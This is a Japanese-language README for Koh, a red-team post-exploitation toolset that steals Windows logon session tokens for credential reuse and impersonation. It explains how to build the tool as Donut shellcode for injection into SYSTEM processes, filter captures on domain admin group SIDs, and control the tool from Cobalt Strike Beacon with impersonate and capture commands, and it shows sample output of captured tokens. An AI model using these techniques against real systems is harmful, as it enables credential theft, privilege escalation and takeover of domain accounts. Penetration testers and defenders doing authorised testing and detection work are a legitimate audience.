
トークン漏洩を介してWindowsログオンセッショントークンをキャプチャし、資格情報の再利用となりすましを可能にします。Cobalt Strike BOF統合により、ポストエクスプロイテーションでのトークン窃取を実現します。
Kohは、意図的なトークン/ログオンセッションの漏洩を介してユーザー資格情報素材をキャプチャすることを可能にするC#およびBeacon Object File (BOF) ツールセットです。
コードの一部は、Elad Shamir 氏の Internal-Monologue プロジェクト(ライセンスなし)および KB180548 に触発されています。これが可能な理由とKohのアプローチについては、このREADMEの 技術的背景 セクションを参照してください。
Kohの背後にある動機とそのアプローチの詳細な説明については、Koh: The Token Stealer の投稿を参照してください。
@harmj0y がこのコードベースの主な作成者です。 @tifkin_ は、アプローチ、BOF実装、およびいくつかのトークンメカニズムの支援を行いました。
KohはBSD 3-Clauseライセンスの下でライセンスされています。
Koh「サーバー」はトークンをキャプチャし、制御/通信のために名前付きパイプを使用します。これは Donut でラップされ、任意の 高整合性 SYSTEMプロセスに注入できます(インラインのShenanigansバグを参照)。
Kohのバイナリをリリースする予定はないため、自分でコンパイルする必要があります :)
Kohは.NET 4.7.2に対してビルドされており、Visual Studio 2019 Community Editionと互換性があります。プロジェクトの.slnを開き、「Release」を選択してビルドするだけです。Koh.exe アセンブリと Donutでビルドされた PIC Koh.bin がメインディレクトリに出力されます。Donut blobはx86/x64の両方に対応しており、./Misc/Donut.exe にあるDonut v0.9.3を使用して以下のオプションでビルドされています:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
DonutのライセンスはBSD 3-Clauseです。
### 使用法
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - (非ネットワーク)ログオンセッションを一覧表示します
* **monitor** - 新規/ユニークな(非ネットワーク)ログオンセッションを監視します
* **capture** - 新しい(非ネットワーク)ログオンセッションに対して見つかったSIDごとに1つのユニークなトークンをキャプチャします
グループSIDもコマンドラインで指定でき、これによりKohはネゴシエートされたトークン情報に指定されたグループSIDを含むログオンセッションのみを監視/キャプチャします。
### 例 - ログオンセッションの一覧表示```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
トークン情報にドメイン管理者(-512)グループSIDを含む結果のみを表示します:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh クライアント
現在使用可能なクライアントは、`.\Clients\BOF\` にある Beacon Object File です。`.\Clients\BOF\KohClient.cna` アグレッサスクリプトを Cobalt Strike クライアントにロードして、Koh サーバーの BOF 制御を有効にします。キャプチャしたトークンを使用するための唯一の要件は **SeImpersonatePrivilege** です。通信に使用する名前付きパイプは "Everyone" DACL を持っていますが、基本的な共有パスワード(超安全)を使用します。
Linux 上で Mingw を使用して新規にコンパイルするには、`.\Clients\BOF\build.sh` スクリプトを参照してください。唯一の要件は(少なくとも Debian では)`apt-get install gcc-mingw-w64` です。
### 使用方法```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
koh filter add S-1-5-21-<DOMAIN>-<RID> コマンドは、指定されたグループSIDを含むトークンのみをキャプチャします。このコマンドは複数回実行して、キャプチャするSIDを追加できます。これにより、大量のトークンリークによる可能性のある安定性の問題を防ぐことができます。
各新しいセッションに対して使用可能なトークンをネゴシエートすることで、ログオンセッションを「キャプチャ」します。
サーバー:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)